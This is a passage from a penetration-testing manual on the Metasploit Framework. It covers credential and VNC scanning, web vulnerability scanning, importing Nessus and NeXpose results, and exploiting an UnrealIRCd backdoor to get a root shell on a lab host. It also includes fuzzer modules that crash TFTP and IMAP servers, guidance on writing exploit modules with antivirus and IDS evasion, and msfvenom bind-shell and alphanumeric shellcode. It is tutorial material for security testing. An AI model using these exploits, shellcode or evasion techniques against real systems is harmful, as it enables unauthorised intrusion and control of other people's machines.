Lets look through some of the vulnerability scanning capabilities that the Metasploit Framework can provide.
A common situation to find yourself in is being in possession of a valid username and password combination, and
wondering where else you can use it. This is where the SMB Login Check Scanner can be very useful, as it will
connect to a range of hosts and determine if the username/password combination can access the target.
Keep in mind that this is very “loud” as it will show up as a failed login attempt in the event logs of every Windows
box it touches. Be thoughtful on the network you are taking this action on. Any successful results can be plugged into
the windows/smb/psexec exploit module (exactly like the standalone tool), which can be used to create Meterpreter
Sessions.
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options
The VNC Authentication None Scanner is an Auxiliary Module for Metasploit. This tool will search a range of
IP addresses looking for targets that are running a VNC Server without a password configured. Pretty well every
administrator worth his/her salt sets a password prior to allowing inbound connections but you never know when you
might catch a lucky break and a successful pen-test leaves no stone unturned.
In fact, once when doing a pentest, we came across a system on the target network with an open VNC installation.
While we were documenting our findings, I noticed some activity on the system. It turns out, someone else had found
the system as well! An unauthorized user was live and active on the same system at the same time. After engaging in
some social engineering with the intruder, we were informed by the user they had just got into the system, and came
across it as they were scanning large chunks of IP addresses looking for open systems. This just drives home the fact
that intruders are in fact actively looking for this low hanging fruit, so you ignore it at your own risk.
To utilize the VNC Scanner, we first select the auxiliary module, define our options, then let it run.
msf auxiliary(vnc_none_auth) > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options
(continues on next page)
Module options:
WMAP is a feature-rich web application vulnerability scanner that was originally created from a tool named SQLMap.
This tool is integrated with Metasploit and allows us to conduct web application scanning from within the Metasploit
Framework.
We begin by first creating a new database to store our WMAP scan results in, load the “wmap” plugin, and run “help”
to see what new commands are available to us.
.-.-.-..-.-.-..---..---.
| | | || | | || | || |-'
`-----'`-'-'-'`-^-'`-'
[WMAP 1.5.1] === et [ ] metasploit.com 2012
[*] Successfully loaded plugin: wmap
wmap Commands
=============
Command Description
------- -----------
wmap_modules Manage wmap modules
wmap_nodes Manage nodes
wmap_run Test targets
wmap_sites Manage sites
wmap_targets Manage targets
wmap_vulns Display web vulns
...snip...
Prior to running a web app scan, we first need to add a new target URL by passing the “-a” switch to “wmap_sites”.
Afterwards, running “wmap_sites -l” will print out the available targets.
Once added, we can view our list of targets by using the ‘-l’ switch from the console.
We first use the “-t” switch to list the modules that will be used to scan the remote system.
msf >
All that remains now is to actually run the WMAP scan against our target URL.
msf > wmap_run -e
[*] Using ALL wmap enabled modules.
[-] NO WMAP NODES DEFINED. Executing local modules
[*] Testing target:
[*] Site: 172.16.194.172 (172.16.194.172)
[*] Port: 80 SSL: false
============================================================
[*] Testing started. 2012-06-27 09:29:13 -0400
[*]
=[ SSL testing ]=
============================================================
[*] Target is not SSL. SSL modules disabled.
[*]
=[ Web Server testing ]=
============================================================
[*] Module auxiliary/scanner/http/http_version
..snip...
..snip...
..snip...
Once the scan has finished executing, we take a look at the database to see if WMAP found anything of interest.
msf > wmap_vulns -l
[*] + [172.16.194.172] (172.16.194.172): scraper /
[*] scraper Scraper
[*] GET Metasploitable2 - Linux
[*] + [172.16.194.172] (172.16.194.172): directory /dav/
[*] directory Directory found.
[*] GET Res code: 200
[*] + [172.16.194.172] (172.16.194.172): directory /cgi-bin/
[*] directory Directoy found.
[*] GET Res code: 403
...snip...
msf >
Looking at the above output, we can see that WMAP has reported one vulnerability. Running “vulns” will list the
details for us.
msf > vulns
[*] Time: 2012-01-16 20:58:49 UTC Vuln: host=172.16.2.207 port=80 proto=tcp
˓→name=auxiliary/scanner/http/options refs=CVE-2005-3398,CVE-2005-3498,OSVDB-877,BID-
˓→11604,BID-9506,BID-9561
msf >
Because of our vulnerability scanning with WMAP, we can now use these results to gather further information on
the reported vulnerability. As pentesters, we would want to investigate each finding further and identify if there are
potential methods for attack.
We create a new report in NeXpose and save the scan results in ‘NeXpose Simple XML‘ format that we can later
import into Metasploit. Next, we fire up msfconsole, create a new workspace, and use the ‘db_import‘ command to
auto-detect and import our scan results file.
msf > db_import /root/Nexpose/report.xml
[*] Importing 'NeXpose Simple XML' data
(continues on next page)
Services
========
We now have NeXpose’s report at our disposal directly from the msfconsole. As discussed in a previous modules,
using the database backend commands, we can search this information using a few simple key strokes.
One that was not covered however was the ‘vulns‘ command. We can issue this command and see what vulnerabilities
were found by our NeXpose scan. With no options given ‘vulns‘ will simply display every vulnerability found such
as service names, associated ports, CVEs (if any) etc.
˓→NEXPOSE-cifs-nt-0001
˓→30221,SECUNIA-30231,SECUNIA-30239,SECUNIA-30249,URL-http://metasploit.com/users/hdm/
˓→tools/debian-openssl/,URL-http://wiki.debian.org/SSLkeys,URL-http://www.debian.org/
˓→security/2008/dsa-1571,URL-http://www.debian.org/security/2008/dsa-1576,URL-http://
˓→www.debian.org/security/key-rollover/,URL-http://www.ubuntu.com/usn/usn-612-1,URL-
˓→http://www.ubuntu.com/usn/usn-612-2,URL-http://www.ubuntu.com/usn/usn-612-3,URL-
˓→http://www.ubuntu.com/usn/usn-612-4,URL-http://www.ubuntu.com/usn/usn-612-5,URL-
˓→http://www.ubuntu.com/usn/usn-612-6,URL-http://www.ubuntu.com/usn/usn-612-7,URL-
˓→http://www.ubuntu.com/usn/usn-612-8,NEXPOSE-openssl-debian-weak-keys
˓→31179,NEXPOSE-ssh-openssh-x11uselocalhost-x11-forwarding-session-hijack
Much like the ‘hosts‘ & ‘services‘ commands, we have a few options available to produce a more specific output when
searching vulnerabilities stored in our imported report. Let’s take a look at those.
msf > vulns -h
Print all vulnerabilities in the database
Examples:
vulns -p 1-65536 # only vulns with associated services
vulns -p 1-65536 -s http # identified as http on any port
Lets target a specific service we know to be running on Metasploitable and see what information was collected by our
vulnerability scan. We’ll display vulnerabilities found for the ‘mysql‘ service. Using the following options: ‘-p‘ to
specify the port number, ‘-s‘ service name and finally ‘-i‘ the vulnerability information.
msf > vulns -p 3306 -s mysql -i
[*] Time: 2012-06-20 02:09:51 UTC Vuln: host=172.16.194.172 name=NEXPOSE-mysql-
˓→dispatch_command-multiple-format-string refs=CVE-2009-2446,BID-35609,OSVDB-55734,
˓→SECUNIA-35767,SECUNIA-38517,NEXPOSE-mysql-dispatch_command-multiple-format-string
˓→info=mysql-dispatch_command-multiple-format-string
˓→bug-32707-send-error-bof info=mysql-bug-32707-send-error-bof
˓→id=37428,NEXPOSE-mysql-bug-37428-user-defind-function-remote-codex info=mysql-bug-
˓→37428-user-defind-function-remote-codex
˓→account-root-nopassword info=mysql-default-account-root-nopassword
˓→OSVDB-61956,SECUNIA-37493,SECUNIA-38344,SECUNIA-38364,SECUNIA-38517,SECUNIA-38573,
˓→URL-http://bugs.mysql.com/bug.php?id=50227,URL-http://dev.mysql.com/doc/refman/5.0/
(continues on next page)
˓→en/news-5-0-90.html,URL-http://dev.mysql.com/doc/refman/5.1/en/news-5-1-43.html,
˓→NEXPOSE-mysql-yassl-certdecodergetname-multiple-bofs info=mysql-yassl-
˓→certdecodergetname-multiple-bofs
312 Chapter 4. Metasploit Documentation
Ptest Method Documentation, Release 1
˓→SECUNIA-28419,SECUNIA-28597,SECUNIA-29443,SECUNIA-32222,URL-http://bugs.mysql.com/
˓→bug.php?id=33814,NEXPOSE-mysql-yassl-multiple-bof info=mysql-yassl-multiple-bof
˓→mysql.com/bug.php?id=53371,URL-http://dev.mysql.com/doc/refman/5.0/en/news-5-0-91.
˓→html,URL-http://dev.mysql.com/doc/refman/5.1/en/news-5-1-47.html,NEXPOSE-mysql-
˓→directory-traversal-and-arbitrary-table-access info=mysql-directory-traversal-and-
˓→arbitrary-table-access
˓→mysql.com/bug.php?id=47320,URL-http://dev.mysql.com/doc/refman/5.0/en/news-5-0-88.
˓→html,URL-http://dev.mysql.com/doc/refman/5.1/en/news-5-1-41.html,NEXPOSE-mysql-vio_
˓→verify_callback-zero-depth-x-509-certificate info=mysql-vio_verify_callback-zero-
˓→depth-x-509-certificate
˓→NEXPOSE-mysql-bug-29801-remote-federated-engine-crash info=mysql-bug-29801-remote-
˓→federated-engine-crash
˓→id=38296,NEXPOSE-mysql-bug-38296-nested-boolean-query-exhaustion-dos info=mysql-bug-
˓→38296-nested-boolean-query-exhaustion-dos
˓→id=53237,URL-http://dev.mysql.com/doc/refman/5.0/en/news-5-0-91.html,URL-http://dev.
˓→mysql.com/doc/refman/5.1/en/news-5-1-47.html,NEXPOSE-mysql-com_field_list-command-
˓→bof info=mysql-com_field_list-command-bof
˓→SECUNIA-30134,SECUNIA-31066,SECUNIA-31226,SECUNIA-31687,SECUNIA-32222,SECUNIA-36701,
˓→URL-http://bugs.mysql.com/32091,URL-http://dev.mysql.com/doc/refman/5.1/en/news-5-1-
˓→23.html,URL-http://dev.mysql.com/doc/refman/6.0/en/news-6-0-4.html,NEXPOSE-mysql-
˓→datadir-isam-table-privilege-escalation info=mysql-datadir-isam-table-privilege-
˓→escalation
˓→id=50974,URL-http://bugs.mysql.com/bug.php?id=53371,URL-http://dev.mysql.com/doc/
˓→refman/5.1/en/news-5-1-47.html,NEXPOSE-mysql-my_net_skip_rest-packet-length-dos
˓→info=mysql-my_net_skip_rest-packet-length-dos
˓→38517,URL-http://bugs.mysql.com/bug.php?id=32167,URL-http://lists.mysql.com/commits/
˓→50036,URL-http://lists.mysql.com/commits/50773,NEXPOSE-mysql-myisam-table-privilege-
˓→check-bypass info=mysql-myisam-table-privilege-check-bypass
˓→mysql-bug-29908-alter-view-priv-esc info=mysql-bug-29908-alter-view-priv-esc
˓→id=44798,NEXPOSE-mysql-bug-44798-stored-procedures-server-crash info=mysql-bug-
˓→44798-stored-procedures-server-crash
˓→http://bugs.mysql.com/bug.php?id=35658,NEXPOSE-mysql-empty-bit-string-dos
˓→info=mysql-empty-bit-string-dos
(continues on next page)
˓→28025,SECUNIA-28040,SECUNIA-28099,SECUNIA-28108,SECUNIA-28128,SECUNIA-28838,URL-
˓→http://bugs.mysql.com/bug.php?id=32125,NEXPOSE-mysql-innodb-dos info=mysql-innodb-
˓→dos
˓→SECUNIA-38517,URL-http://bugs.mysql.com/bug.php?id=27884,URL-http://www.henlich.de/
˓→it-security/mysql-command-line-client-html-injection-vulnerability,NEXPOSE-mysql-
˓→html-output-script-insertion info=mysql-html-output-script-insertion
˓→download.html?id=pci_dss_v1-2.pdf,NEXPOSE-database-open-access info=database-open-
˓→access
Nessus is a well-known and popular vulnerability scanner that is free for personal, non-commercial use that was first
released in 1998 by Renaurd Deraison and currently published by Tenable Network Security. There is also a spin-
off project of Nessus 2, named OpenVAS, that is published under the GPL. Using a large number of vulnerability
checks, called plugins in Nessus, you can identify a large number of well-known vulnerabilities. Metasploit will
accept vulnerability scan result files from both Nessus and OpenVAS in the nbe file format.
Let’s walk through the process. First we complete a scan from Nessus:
Upon completion of a vulnerability scan, we save our results in the nbe format and then start msfconsole. Next, we
need to import the results into the Metasploit Framework. Let’s look at the help command.
...snip...
msf >
Let’s go ahead and import the nbe results file by issuing the db_import command followed by the path to our results
file.
After importing the results file, we can execute the hosts command to list the hosts that are in the nbe results file.
Hosts
=====
msf >
We see exactly what we were expecting. Next we execute the services command, which will enumerate all of the
services that were detected running on the scanned system.
Services
========
Finally, and most importantly, the vulns command will list all of the vulnerabilities that were reported by Nessus and
recorded in the results file. Issuing help vulns will provide us with this command’s many options. We will filter our
search by port number to lighten the output of the command.
msf > help vulns
Print all vulnerabilities in the database
Examples:
vulns -p 1-65536 # only vulns with associated services
vulns -p 1-65536 -s http # identified as http on any port
msf >
msf >
Let’s pick the CVE associated with port 6667 found by Nessus and see if Metasploit has anything on that. We’ll issue
the search command from msfconsole followed by the CVE number.
Matching Modules
================
msf >
We see Metasploit has a working module for this vulnerability. The next step is to use the module, set the appropriate
options, and execute the exploit.
msf exploit(unreal_ircd_3281_backdoor) > exploit
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:d1:62:80
inet addr:172.16.194.172 Bcast:172.16.194.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fed1:6280/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:290453 errors:0 dropped:0 overruns:0 frame:0
TX packets:402340 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:41602322 (39.6 MB) TX bytes:344600671 (328.6 MB)
Interrupt:19 Base address:0x2000
id
uid=0(root) gid=0(root)
As you can see, importing Nessus scan results into Metasploit is a powerful feature. This demonstrates the versatility
of the Framework, and some of the possibilities for integration with 3rd party tools such as Nessus.
For those situations where we choose to remain at the command line, there is also the option to connect to a Nessus
version 4.4.x server directly from within msfconsole. The Nessus Bridge, written by Zate and covered in detail
at http://blog.zate.org/2010/09/26/nessus-bridge-for-metasploit-intro/ uses xmlrpc to connect to a server instance of
Nessus, allowing us to perform and import a vulnerability scan rather than doing a manual import.
We begin by first loading the Nessus Bridge Plugin.
Running ‘nessus_help‘ will display the msfconole commands now available to us. As you can see, it is quite full-
featured.
Reports Commands
----------------- -----------------
nessus_report_list List all Nessus reports
nessus_report_get Import a report from the nessus server in Nessus v2 format
nessus_report_hosts Get list of hosts from a report
nessus_report_host_ports Get list of open ports from a host from a report
nessus_report_host_detail Detail from a report item on a host
Scan Commands
----------------- -----------------
nessus_scan_new Create new Nessus Scan
nessus_scan_status List all currently running Nessus scans
...snip...
Prior to beginning, we need to connect to the Nessus server on our network. Note that we need to add ‘ok‘ at the end
of the connection string to acknowledge the risk of man-in-the-middle attacks being possible.
[-] with the ability to man-in-the-middle the Nessus traffic to capture the
˓→Nessus
[-] credentials. If you are running this on a trusted network, please pass
˓→in 'ok'
To see the scan policies that are available on the server, we issue the ‘nessus_policy_list‘ command. If there are not
any policies available, this means that you will need to connect to the Nessus GUI and create one before being able to
use it.
msf >
To run a Nessus scan using our existing policy, use the command ‘nessus_scan_new‘ followed by the policy ID number,
a name for your scan, and the target.
To see the progress of our scan, we run ‘nessus_scan_status‘. Note that there is no progress indicator so we keep
running the command until we see the message ‘No Scans Running‘.
msf >
When Nessus completes the scan, it generates a report for us with the results. To view the list of available reports, we
run the ‘nessus_report_list‘ command. To import a report, we run ‘nessus_report_get‘ followed by the report ID.
With the report imported, we can list the hosts and vulnerabilities just as we could when importing a report manually.
Hosts
=====
address vulns
------- -----
192.168.1.161 33
You should now have an understanding of how to manually import Nessus scan results as well as use the Nessus Bridge
plugin directly within the Metasploit Framework to scan for vulnerabilities.
4.4 Fuzzers
A Fuzzer is a tool used by security professionals to provide invalid and unexpected data to the inputs of a program.
A typical Fuzzer tests an application for buffer overflow, invalid format strings, directory traversal attacks, command
execution vulnerabilities, SQL Injection, XSS, and more.
Because the Metasploit Framework provides a very complete set of libraries to security professionals for many network
protocols and data manipulations, it is a good candidate for quick development of a simple fuzzer.
The Rex::Text module provides lots of handy methods for dealing with text like:
• Buffer conversion
• Encoding (html, url, etc)
• Checksumming
• Random string generation
The last point is extremely helpful in writing a simple fuzzer. This will help you writing fuzzer tools such as a simple
URL Fuzzer or full Network Fuzzer.
For more information about Rex, please refer to the Rex API documentation.
Here are some of the functions that you can find in Rex::Text :
One of the most powerful aspects of Metasploit is how easy it is to make changes and create new functionality by
reusing existing code. For instance, as this very simple Fuzzer code demonstrates, you can make a few minor modifi-
cations to an existing Metasploit module to create a Fuzzer module. The changes will pass ever-increasing lengths to
the transport mode value to the 3Com TFTP Service for Windows, resulting in an overwrite of EIP.
#Metasploit
require 'msf/core'
def run_host(ip)
# Create an unbound UDP socket
udp_sock = Rex::Socket::Udp.create(
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
}
)
count = 10 # Set an initial count
while count < 2000 # While the count is under 2000 run
evil = "A" * count # Set a number of "A"s equal to count
pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00" # Define
˓→the payload
Pretty straight forward. Lets run it and see what happens with OllyDbg
And we have a crash! Our new Fuzzer tool is working as expected. While this may seem simple on the surface, one
thing to consider is the reusable code that this provides us. In our example, the payload structure was defined for
us, saving us time, and allowing us to get directly to the fuzzing rather than researching the TFTP protocol. This is
extremely powerful, and is a hidden benefit of the Metasploit Framework.
During a host reconnaissance session we discovered an IMAP Mail server which is known to be vulnerable to a buffer
overflow attack (Surgemail 3.8k4-4). We found an advisory for the vulnerability but can’t find any working exploits
in the Metasploit database nor on the internet. We then decide to write our own exploit starting with a simple IMAP
fuzzer.
From the advisory we do know that the vulnerable command is IMAP LIST and you need valid credentials to exploit
the application. As we’ve previously seen, the big “library arsenal” present in MSF can help us to quickly script any
network protocol and the IMAP protocol is not an exception. Including Msf::Exploit::Remote::Imap will save us a lot
of time. In fact, connecting to the IMAP server and performing the authentication steps required to fuzz the vulnerable
command, is just a matter of a single line command line! Here is the code for the IMAP LIST fuzzer:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
(continues on next page)
require 'msf/core'
include Msf::Exploit::Remote::Imap
include Msf::Auxiliary::Dos
def initialize
super(
'Name' => 'Simple IMAP Fuzzer',
'Description' => %q{
An example of how to build a simple IMAP fuzzer.
Account IMAP credentials are required in this fuzzer.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $'
)
end
def fuzz_str()
return Rex::Text.rand_text_alphanumeric(rand(1024))
end
def run()
srand(0)
while (true)
connected = connect_login()
if not connected
print_status("Host is not responding - this is G00D ;)")
break
end
print_status("Generating fuzzed data...")
fuzzed = fuzz_str()
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"
print_status(req)
res = raw_send_recv(req)
if !res.nil?
print_status(res)
else
print_status("Server crashed, no response")
break
end
disconnect()
end
end
end
Overiding the run() method, our code will be executed each time the user calls “run” from msfconsole. In the while
loop within run(), we connect to the IMAP server and authenticate through the function connect_login() imported
from Msf::Exploit::Remote::Imap. We then call the function fuzz_str() which generates a variable size alphanumeric
buffer that is going to be sent as an argument of the LIST IMAP command through the raw_send_recv function. We
save the above file in the auxiliary/dos/windows/imap/ subdirectory and load it from msfconsole as it follows:
Module options:
We are now ready to fuzz the vulnerable IMAP server. We attach the surgemail.exe process from ImmunityDebugger
and start our fuzzing session:
[*]
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
(continues on next page)
MSF tells us that the IMAP server has probably crashed and could check it using ImmunityDebugger.
Next, we are going to cover one of the most well-known and popular aspects of the Metasploit Framework, exploit
development. In this section, we are going to show how using the Framework for exploit development allows you to
concentrate on what is unique about the exploit, and makes other matters such as payload, encoding, NOP generation,
and so on just a matter of infrastructure.
Due to the sheer number of exploits currently available in Metasploit, there is a very good chance that there is al-
ready a module that you can simply edit for your own purposes during exploit development. To make exploit de-
velopment easier, Metasploit includes a sample exploit that you can modify. You can find it under ‘documenta-
tion/samples/modules/exploits/‘.
4.5.1 Goals
When writing exploits to be used in the Metasploit Framework, your development goals should be minimalist.
• Offload as much work as possible to the Metasploit Framework.
• Make use of, and rely on, the Rex protocol libraries.
• Make heavy use of the available mixins and plugins.
Just as important as a minimalist design, exploits should (must) be reliable.
• Any BadChars declared must be 100% accurate.
• Ensure that Payload->Space is the maximum reliable value.
• The little details in exploit development matter the most.
Exploits should make use of randomness whenever possible. Randomization assists with IDS, IPS, and Anti-Virus
evasion and also serves as an excellent reliability test.
• When generating padding, use Rex::Text.rand_text_* (rand_text_alpha, rand_text_alphanumeric, etc).
• Randomize all payloads by using encoders.
• If possible, randomize the encoder stub.
• Randomize nops too.
Just as important as functionality, exploits should be readable as well.
• All Metasploit modules have a consistent structure with hard-tab indents.
• Fancy code is harder to maintain, anyway.
• Mixins provide consistent option names across the Framework.
Lastly, exploits should be useful.
• Proof of concepts should be written as Auxiliary DoS modules, not as exploits.
• The final exploit reliability must be high.
The format of an Exploit Module in Metasploit is similar to that of an Auxiliary Module but there are more fields.
• There is always a Payload Information Block. An Exploit without a Payload is simply an Auxiliary Module.
• A listing of available Targets is outlined.
• Instead of defining run(), exploit() and check() are used.
include Msf::Exploit::Remote::TCP
def initialize
super(
'Name' => 'Simplified Exploit Module',
'Description' => 'This module sends a payload',
'Author' => 'My Name Here',
'Payload' => {'Space' => 1024, 'BadChars' => “\x00”},
'Targets' => [ ['Automatic', {} ] ],
'Platform' => 'win',
)
register_options( [
Opt::RPORT(12345)
], self.class)
end
Although it is rarely implemented, a method called check() should be defined in your exploit modules whenever
possible.
• The check() method verifies all options except for payloads.
• The purpose of doing the check is to determine if the target is vulnerable or not.
• Returns a defined Check value.
The return values for check() are:
• CheckCode::Safe – not exploitable
def check
# connect to get the FTP banner
connect
# grab banner
banner = banner = sock.get_once
case banner
when /Serv-U FTP Server v4\.1/
print_status('Found version 4.1.0.3, exploitable')
return Exploit::CheckCode::Vulnerable
else
print_status('We could not recognize the server banner')
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Safe
end
Exploit::Remote::Tcp
lib/msf/core/exploit/tcp.rb
Exploit::Remote::DCERPC
lib/msf/core/exploit/dcerpc.rb
Inherits from the TCP mixin and has the following methods and options:
• dcerpc_handle()
• dcerpc_bind()
• dcerpc_call()
• Supports IPS evasion methods with multi-context BIND requests and fragmented DCERPC calls
Exploit::Remote::SMB
lib/msf/core/exploit/smb.rb
Inherits from the TCP mixin and provides the following methods and options:
• smb_login()
• smb_create()
• smb_peer_os()
• Provides the Options of SMBUser, SMBPass, and SMBDomain
• Exposes IPS evasion methods such as: SMB::pipe_evasion, SMB::pad_data_level, SMB::file_data_level
Exploit::Remote::BruteTargets
lib/msf/core/exploit/brutetargets.rb
lib/msf/core/exploit/brute.rb
Metasploit Mixins
The mixins listed above are just the tip of the iceberg as there are many more at your disposal when creating exploits.
Some of the more interesting ones are:
• Capture – sniff network packets
• Lorcon – send raw WiFi frames
• MSSQL – talk to Microsoft SQL servers
Exploits define a list of targets that includes a name, number, and options. Targets are specified by number when
launched.
Sample Target Code for an Exploit Module:
'Targets' =>
[
# Windows 2000 - TARGET = 0
[
'Windows 2000 English',
{
'Rets' => [ 0x773242e0 ],
},
],
# Windows XP - TARGET = 1
[
'Windows XP English',
{
'Rets' => [ 0x7449bf1a ],
},
],
],
'DefaultTarget' => 0))
The options block within the target section is nearly free-form although there are some special option names.
• ‘Ret’ is short-cutted as target.ret()
• ‘Payload’ overloads the exploits info block
Options are where you store target data. For example:
• The return address for a Windows 2000 target
• 500 bytes of padding need to be added for Windows XP targets
• Windows Vista NX bypass address
The ‘target’ object inside the exploit is the users selected target and is accessed in the exploit as a hash.
• target[‘padcount’]
• target[‘Rets’][0]
• target[‘Payload’][‘BadChars’]
• target[‘opnum’]
Sometimes you need new targets because a particular language pack changes addresses, a different version of the
software is available, or the addresses are shifted due to hooks. Adding a new target only requires 3 steps.
• Determine the type of return address you require. This could be a simple ‘jmp esp’, a jump to a specific register,
or a ‘pop/pop/ret’. Comments in the exploit code can help you determine what is required.
• Obtain a copy of the target binaries
• Use msfpescan to locate a suitable return address
If the exploit code doesn’t explicitly tell you what type of return address is required but is good enough to tell you
the dll name for the existing exploit, you can find out what type of return address you are looking for. Consider the
following example that provides a return address for a Windows 2000 SP0-SP4 target.
'Windows 2000 SP0-SP4',
{
'Ret' => 0x767a38f6, # umpnpmgr.dll
}
To find out what type of return address the exploit currently uses, we just need to find a copy of umpnpmgr.dll from
a Windows 2000 machine machine and run msfpescan with the provided address to determine the return type. In the
example below, we can see that this exploit requires a pop/pop/ret.
root@kali:~# msfpescan -D -a 0x767a38f6 umpnpmgr.dll
[umpnpmgr.dll]
0x767a38f6 5f5ec3558bec6aff68003c7a7668e427
00000000 5F pop edi
00000001 5E pop esi
00000002 C3 ret
00000003 55 push ebp
00000004 8BEC mov ebp,esp
00000006 6AFF push byte -0x1
00000008 68003C7A76 push 0x767a3c00
0000000D 68 db 0x68
0000000E E427 in al,0x27
Now, we just need to grab a copy of the target dll and use msfpescan to find a usable pop/pop/ret address for us.
root@kali:~# msfpescan -p umpnpmgr.dll
[targetos.umpnpmgr.dll]
0x79001567 pop eax; pop esi; ret
(continues on next page)
Now that we’ve found a suitable return address, we add our new target to the exploit.
Metasploit helps deliver our exploit payloads against a target system. When creating an Exploit Payload, we have
several things to consider, from the operating system architecture, to anti-virus, IDS, IPS, etc. In evading detection of
our exploits, we will want to encode our payloads to remove any bad characters and add some randomness to the final
output using NOPs.
Metasploit comes with a number of payload encoders and NOP generators to help aid us in this area.
Select a payload encoder:
• Must not touch certain registers
• Must be under the max size
• Must avoid BadChars
• Encoders are ranked
Select a nop generator:
• Tries the most random one first
• NOPs are also ranked
As is the case for most things in the Framework, payloads can be tweaked by exploits.
• ‘StackAdjustment’ prefixes “sub esp” code
• ‘MinNops’, ‘MaxNops’, ‘DisableNops’
MSFvenom
root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] >var=val>
Options:
root@kali:~# msfvenom -h
Error: MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options]
Options:
-p, --payload Payload to use. Specify a '-' or stdin to use custom
˓→payloads
We can see an example of the msfvenom command line below and its output:
buf += "\x9d\x18\x08\x3b\xbf\xd2\xff\x92\x18\x5f\x48\x9b\xe0"
buf += "\x7b\x03\xa5\x32\x11\x27\x2b\x25\xcd\x44\xdb\xbd\xb9"
buf += "\xcd\x48\xda\x56\x4c\x56\xd5\x04\x87\x48\x3a\x6b\x9c"
buf += "\x2a\x15\x4d\xbc\x0b\x56\x06\xb5\xc9\x46\xd0\xfa\x68"
buf += "\xa6\x76\xe9\x52\x2c\x24\x62\x28\xe1\x1d\x87\xb0\x66"
buf += "\x93\x85\x8f\x87\x0f\xcf\x16\x29\x76\x03\x55\x0c\x0e"
buf += "\x3f\x17\xac"
The msfvenom command and resulting shellcode above generates a Windows bind shell with three iterations of the
shikata_ga_nai encoder without any null bytes and in the python format.
MSFvenom Platforms
Here is a list of available platforms one can enter when using the –platform switch.
Cisco or cisco
OSX or osx
Solaris or solaris
BSD or bsd
OpenBSD or openbsd
hardware
(continues on next page)
msfvenom -v or –var-name
Specify a custom variable name to use for certain output formats. Assigning a name will change the output’s variable
from the default “buf” to whatever word you supplied.
Default output example:
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/
˓→shikata_ga_nai -b '\x00' -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
buf = ""
buf += "\xda\xdc\xd9\x74\x24\xf4\x5b\xba\xc5\x5e\xc1\x6a\x29"
...snip...
msfvenom –help-format
Issuing the msfvenom command with this switch will output all available payload formats.
AFTER :
msfvenom –smallest
If the “smallest” switch is used, msfvevom will attempt to create the smallest shellcode possible using the
selected encoder and payload.
No encoder or badchars specified, outputting raw payload Payload size: 267 bytes
Adding payload #2:
Running the “cookies.exe” file will execute both message box payloads, as well as the bind shell using default settings
(port 4444).
msfvenom -x, –template & -k, –keep
The -x, or –template, option is used to specify an existing executable to use as a template when creating
your executable payload.
Using the -k, or –keep, option in conjunction will preserve the template’s normal behaviour
and have your injected payload run as a separate thread.
˓→bdoor.exe
Alphanumeric Shellcode
There are cases where you need to obtain a pure alphanumeric shellcode because of character filtering in the exploited
application. The Metasploit Framework can easily generate alphanumeric shellcode through Msfvenom. For example,
to generate a mixed alphanumeric uppercase- and lowercase-encoded shellcode, we can use the following command:
If you look deeper at the generated shellcode, you will see that there are some non-alphanumeric characters:
>>> print buf
w[SYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lZHnbuPgpc0QpmYxe4qO0atLK2pFPNkpRFlLKv2gdn
kbRq8DOMgbjev4qKOLlGLCQ3LwrtlgPiQzotMs1O7irkBF2aGLK3bfpNk2j7LlKrlFq3HZCrhvan1SankbyupUQhSnkQYDXzCEjri
1kffQIonLiQZo4MeQIWvXyprUzVTCSMxxWK1mVDD5KT68LK68dd31kcE6LKVl2klKcheLuQN3Nkc4LK6ajpoyG4gTWTQK1K0a2yCj
OqORzLKVrxkLMQM2H5c7B30wp2H47CC7BqO1Dqx0LPwuv6g9oxUoHz06a305P5yO4QDrpu8UyopRKwpKOxUBJdKaIv0zBKM1zWq0j
oYOypyoKeMGPhDBC0gaCloyxfcZb0V6cgCX8B9K07E7IozunekpsE2xpWbHh78iehioyohUQGbHqdjLGKhaiokepWLW3XpubN0Mpa
prJ5TQF1GCXtByIZhQOkO9EosZX30Qn4mLK5fpjqPu8wp6p30uPBvpjC0SX3hMt3ciuYoiEOcQC0jc0Sf633gu8eR9IzhsoIoxUK3
GWq8CuyxFSE8iySAA
